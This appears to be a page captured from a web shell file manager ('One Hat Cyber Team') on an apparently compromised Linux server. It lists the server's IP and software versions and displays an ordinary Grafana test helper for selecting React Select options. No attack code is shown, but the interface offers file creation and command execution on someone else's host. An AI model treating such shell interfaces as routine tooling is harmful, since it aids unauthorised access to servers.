⚝
One Hat Cyber Team
⚝
Your IP:
216.73.217.4
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
grafana
/
public
/
test
/
helpers
/
View File Name :
selectOptionInTest.ts
import { Matcher, waitFor } from '@testing-library/react'; import userEvent from '@testing-library/user-event'; import { select } from 'react-select-event'; import { byRole } from 'testing-library-selector'; // Used to select an option or options from a Select in unit tests export const selectOptionInTest = async ( input: HTMLElement, optionOrOptions: string | RegExp | Array
) => await waitFor(() => select(input, optionOrOptions, { container: document.body })); // Finds the parent of the Select so you can assert if it has a value export const getSelectParent = (input: HTMLElement) => input.parentElement?.parentElement?.parentElement?.parentElement?.parentElement; export const clickSelectOption = async (selectElement: HTMLElement, optionText: string): Promise
=> { await userEvent.click(byRole('combobox').get(selectElement)); await selectOptionInTest(selectElement, optionText); }; export const clickSelectOptionMatch = async (selectElement: HTMLElement, optionText: Matcher): Promise
=> { await userEvent.click(byRole('combobox').get(selectElement)); await selectOptionInTest(selectElement, optionText as string); };